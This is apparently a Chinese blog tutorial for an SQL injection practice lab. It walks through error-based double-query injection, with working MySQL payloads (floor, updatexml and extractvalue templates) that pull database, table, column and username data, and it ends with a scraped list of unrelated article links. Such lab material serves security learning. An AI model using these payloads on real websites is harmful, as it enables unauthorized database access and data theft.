考查点:双查询报错注入

1.先判断注入类型

  

  (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    

  (2)再输入?id=1'

    

    显示报错,报错多了一个单引号

  (3)再输入?id=1''

    

   判断是字符型注入

2.对列数进行判断    

  (1)输入?id=1' order by 3 --+

    

  (2)输入?id=1' order by 4 --+

    

  判断是3列

3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

    

4.常用的报错语句模板:

  (1)通过floor报错

    ①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    ②其中payload为你要插入的SQL语句

    ③需要注意的是该语句将 输出长度限制在64个字符

  (2)通过updatexml报错

    ①and updatexml(1,payload,1)

    ②同样盖语句对输出的字符长度也做了限制,其最长输出32位

    ③并且该语句对payload的返回类型也做了 限制

   (3)通过extractvalue 报错

    ①and extractvalue(1,payload)

    ②输出字符有长度限制,最长32位

5.我们用floor进行注入

  (1)注当前的数据库名:?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

  (2)爆注册表:?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

  (3)注某张表的字段,这里以users为例:?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

  (4)注字段的值,这里以users表里的username为例:?id=-1' union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

最新文章

  1. LinqPad工具:帮你快速学习Linq
  2. UIScrollView 滑动复位
  3. K-means之matlab实现
  4. 20145227&20145201 《信息安全系统设计基础》实验一 开发环境的熟悉
  5. android: 播放视频
  6. BZOJ3289 Mato的文件管理(莫队算法+树状数组)
  7. C# 以ThreadStart方式实现多线程
  8. 从汇编看c++中成员函数指针(一)
  9. Java中log4j的使用
  10. javascript的八张图
  11. 【开发技术】JAutodoc使用指南
  12. python3.6+django2.0 一小时学会开发一套学员管理系统demo
  13. FusionCharts封装-Value
  14. TP5创建动态数据表
  15. djiango 虚拟环境与项目创建
  16. Rails/ActiveRecord order by Array
  17. MVC 中Simditor上传本地图片
  18. B/S与C/S的比较
  19. comet 推送消息到客户端
  20. Ubuntu12.04+OpenERP7.0安装笔记

热门文章

  1. Create a Report at Runtime 在运行时创建报表
  2. 学习DDD的初步尝试,从最基础的开始,业务介绍,划分限界上下文 ,建立模型
  3. 4.Ansible Task控制
  4. 好的js书写习惯
  5. 推荐一款好看的Hexo主题Ayer
  6. js效果 整理
  7. [转]BEC Vantage
  8. C++ --const修饰指针
  9. 如何使用终端默认情况下阻止Mac应用保存到iCloud
  10. VMware Workstation下载-安装-破解-秘钥